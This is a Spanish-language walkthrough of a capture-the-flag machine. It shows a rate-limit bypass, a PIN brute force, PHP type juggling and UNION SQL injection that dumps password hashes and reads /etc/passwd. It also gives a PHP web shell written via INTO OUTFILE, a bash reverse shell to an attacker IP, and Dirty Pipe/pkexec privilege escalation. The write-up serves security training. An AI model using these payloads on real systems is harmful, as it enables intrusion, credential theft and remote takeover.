Reconocimiento Inicial
Como siempre para comprobar que tenemos conexión entre nuestra maquina de atacante y el host victima enviamos una traza ICMP. Comprobamos de que el host se encuentra activo:
A continuación realizamos un scan con nmap para visualizar los puertos que se encuentren abiertos en el host:
Tenemos el puerto 22, 80 abierto. Realizamos otro scan con nmap para detectar la versión de los servicios:
Reconocimiento Web
El scan anterior revelo que el puerto 80 esta habilitado utilizando un servidor nginx. Podemos ingresar a este desde el navegador web:
Vemos que tenemos un panel de Login. Intentamos realizar las típicas comprobaciones de usuarios y contraseñas por defecto como test;test:
Esto nos entrega el mensaje de Invalid Username, lo que puede ser un mensaje genérico que nos permita enumerar usuarios. Ahora probamos con admin;admin:
En este caso vemos que el mensaje es Invalid Password. Además vemos un botón de Forgot Password? que al presionar observamos que se nos solicita un usuario. Utilizaremos el de admin en este caso ya que sabemos que es un usuario que existe:
Al presionar en submit se nos redirige a http://10.10.11.159/reset en donde se nos muestra el mensaje de “Enter the pincode emailed to you”. Lo que nos indica que se nos ha enviado un código PIN al email:
Al probar con el código 1234 el cual resulta ser invalido se nos muestra el mensaje “Invalid Pincode. Be sure to use the same browser you requested from.”. Si observamos la petición submit proxeada con BurpSuite podemos identificar que esta petición arrastra 2 cookies laravel_session
y XSRF-TOKEN
:
PIN Brute Force
Observamos que se realiza una petición con el método POST
en /api/resettoken
. Utilizamos Intruder para recorrer el pin desde el 0000 al 9999 para poder obtenerlo mediante fuerza bruta:
Pero vemos que luego de algunas peticiones el código de estado es 429. Lo que significa que hemos realizado demasiadas peticiones.
Rate Limit Bypass
Existen diversas formas de realizar un bypass cuando el servidor bloquea nuestras peticiones, pero mi favorita es utilizar la cabecera X-Forwarded-For
para hacer pasar la petición original por otra IP. Lo ideal es tener un diccionario de IPs para poder irlas rotando en la cabecera X-Forwarded-For
. Podemos crear un diccionario de IPs con el siguiente script en python:
for i in range(51):
for j in range(251):
print(f"10.10.{i}.{j}")
En el diccionario ya contamos con más de 12000 ips distintas para realizar el ataque. Utilizaremos Intruder de BurSuite para realizar un ataque de tipo Pitchfork
sobre /api/resettoken
en la cual agregaremos la cabecera X-Forwarded-For
con un valor aleatorio que recorreremos con el diccionario creado y además recorreremos nuevamente la lista de posibles PIN:
Configuramos el payload 1 seleccionado el tipo en Simple list y cargamos el diccionario en Load:
El Payload 2 lo configuramos igual al primer ataque realizado con Intruder:
Iniciamos el ataque y observamos que ahora todas las peticiones son código de estado 200
Al finalizar el ataque podemos identificar que tenemos una petición con una longitud inferior a la del resto el cual corresponde al PIN 9933:
Si seguimos esta petición en el navegador podemos observar que ahora somos capaces de cambiar la contraseña. Para este caso la contraseña sera “h4rri”:
Y al dar a Submit
observamos que hemos cambiado la contraseña ya que se refleja el mensaje “Password Changed”
Login as Admin
Ahora si utilizamos las credenciales para iniciar sesión podremos ver que lo hacemos como el usuario admin:
Al presionar en view
en cualquier Profile se nos muestra un mensaje correspondiente al perfil del usuario:
Al observar las peticiones de esta interración en Burp nos fijamos que se revela el campo id
y secret
que se están obteniendo mediante GET
:
Enviaremos esta petición al Repeater para modificar ambos campos, Al hacer esto observamos que se nos muestra el mensaje de “Tampered user input detected”:
Al modificar cualquiera de los dos campos se presenta el mensaje de error de la captura anterior. Lo que me indica que algo esta detectando que los campos se están modificando. Podemos probar cambiando el método de GET
a POST
:
Al realizar esto observamos un mensaje de error en formato json
con esto en mente adaptamos el formato a json
y cambiamos también el contenido de la cabecera Content-Type
:
Vemos que el mensaje de error sigue siendo el mismo, probaremos cambiando al método GET
nuevamente:
Y como se ve ahora si se visualizar el contenido original de la respuesta. Además hay que tener en cuenta que los datos se están enviando en formato json
.
Si volvemos a modificar los datos con el formato entregado veremos lo siguiente:
Por lo que debemos realizar una evasión sobre estas validaciones.
Type Juggling
Si pensamos en como esta construido el código del servidor debemos saber que lenguaje esta utilizando. Para esto generalmente utilizo Wappalyzer o whatweb para CLI:
Y vemos que la aplicación utiliza como lenguaje de programación PHP.
Realizando pruebas sobre los parámetros agregando datos debemos determinar si esa comparación se hace con ==
y no ===
, el Type Juggling evitaría la comprobación. Probamos cambiar secret
a true
:
Acabamos de abusar de esta característica al manipular los datos de entrada de una aplicación PHP para realizar comparaciones que resulten en valores inesperados o falsos positivos, lo que puede conducir a vulnerabilidades de seguridad como la inyección de SQL o la omisión de autenticación.
Incluso se acepta como cadena. Lo que refuerza la probabilidad de SQL Injection:
SQL Injection
Modificaremos el valor del parámetro id para ingresando una comilla simple para detectar si se produce algún error de sintaxis de SQL:
Como vemos se produce un error y el servidor responde con un código de estado 500. Realizamos un ordenamiento por columnas para determinar la cantidad de estas en la tabla:
Como se aprecia al ordenar por 4 el error persiste. Caso contrario si ordenamos por 3 volveremos a visualizar el texto del perfil en cuestión:
Desde este punto podemos probar realizando una inyección SQL basada en UNION:
La sintaxis funciona pero no vemos reflejado ninguno de los 3 valores.
Observamos que si cambiamos el valor 8
del id
por una cadena envuelta en comillas simples vemos reflejado el valor 3:
"'H4RR1' UNION SELECT 1,2,3-- -"
Enumeración de la BD
Vemos que la base de datos en uso es uhc:
Ahora enumeraremos las tablas de esta base de datos:
UNION SELECT 1,2,GROUP_CONCAT(table_names) FROM information_schema.tables WHERE table_schema='uhc'
Y vemos la tabla de interés users
. Por lo que procedemos a enumerarla:
UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'
Desde este punto creamos una query para extraer el contenido de las columnas
name
y password
:
UNION SELECT 1,2,GROUP_CONCAT(name,':',password,'\n') FROM uhc.users-- -
big0us:$2y$10$L3X8m6P1w.F2aO011ffWr.587vGCYeFXuXwE2vr3DbrYkcuF741N2
,celesian:$2y$10$8ewqN3lE9iazbo8sFiwUleeNIbOpAMRcaMzeiXJ50wlItN2Kd5pI6
,luska:$2y$10$KdZCbzxXRsBOBHI.91XIz.O.lQQ3TqeY8uonzAumoAv6v9JVQv3g.
,tinyb0y:$2y$10$X501zxcWLKXf.OteOaPILuhMBIalFjid5bBjBkrst/cynKL/DLfiS
,o-tafe:$2y$10$XIrsc.ma/p0qhvWm9.sqyOnA5184ICWNverXQVLQJD30nCw7.PyxW
,watchdog:$2y$10$RTbD7i5I53rofpAfr83YcOK2XsTglO01jVHZajEOSH1tGXiU8nzEq
,mydonut:$2y$10$7DFlqs/eXGm0JPVebpPheuEx3gXPhTnRmN1Ia5wutECZg1El7cVJK
,bee:$2y$10$Furn1Q0Oy8IbeCslv7.Oy.psgPoCH2ds3FZfJeQlCdxJ0WVhLKmzm
,admin:$2y$10$37Q1SanFMybo1MXUncgI1uYt5G1KdqaHMWlBjcY7i63aGcluXNrfu
Vemos que las contraseñas estan hasheadas. No probaremos crackearlas e intentar ingresar por SSH.
Leyendo ficheros internos
Podemos enumerar ficheros internos con la vulnerabilidad de SQLi mediante el comando LOAD_FILE
UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- -
Podemos probar enumerar la clave privada de SSH del usuario:
Web Shell via SQLi
Podemos probar una técnica para subir una web shell desde la consulta SQL. Primero debemos saber en que ruta reside el servidor, sabemos que el servidor es un nginx. Entonces podemos probar con rutas de servidores nginx como /etc/nginx/sites-enabled/default
:
Observamos que se revela la ruta /srv/altered/public
. Quiero pensar que tengo permiso de escritura por lo que subire una webshell de la siguiente forma:
UNION SELECT 1,2,<?php system($_REQUEST[\"cmd\"]); ?> into outfile '/srv/altered/public/wse.php'-- -
Al ingresar en la url el nombre asignado a la webshell “wse.php” observamos que se reflejan los valores 1, 2 y el valor donde debería ir 3 se ve vacío:
Pasamos el parámetro cmd por la url y podremos ejecutar comandos:
Reverse shell as www-data
Ya que podemos ejecutar comandos utilizare una reverse shell simple en bash:
bash -c "bash -i >& /dev/tcp/10.10.14.24/443 0>&1"
Posteriormente la URL-Encodeamos:
%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%32%34%2f%34%34%33%20%30%3e%26%31%22
Al enviar el comando en el navegador y al estar a la escucha con netcat vemos que recibimos la shell:
Tratamiento TTY
Para avanzar cómodamente realizaremos el tratamiento de la tty para obtener una consola interactiva. Escribimos la siguiente secuencia de comandos para poder obtener una consola interactiva o fully tty:
script /dev/null -c bash
Ctrl+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=bash
Escalando privilegios
Para escalar privilegios en un host linux podemos utilizar herramientas como LinPeas para automatizar esta parte. Generalmente comienzo por enumerar el kernel del sistema:
Vemos que la versión de kernel es la 5.16.0.-051600-generic. Si buscamos exploits relacionados a este encontraremos el CVE-2022-0847 el cual corresponde a una escalada local de privilegios (Dirty Pipe).
Buscando un exploit podemos dar con el siguiente, que requiere de un SUID para funcionar: Exploit
Ahora debemos buscar permisos SUID en binarios del sistema:
find / -perm -4000 2>/dev/null
Podemos ver que esta el binario de
pkexec
. Con el cual podemos intentar aprovecharnos para escalar privilegios.
Descargamos el exploit en nuestra maquina de atacante y lo compilamos con gcc -o exploit-2 exploit-2.c
:
Ahora montamos un servidor con python para poder descargarlo en el host victima:
Ahora le damos permisos de ejecución al binario y lo ejecutamos llamando el SUID
/usr/bin/pkexec
::
Con esto conseguimos ser usuario root y leer la flag:
Pwned! 🏴☠️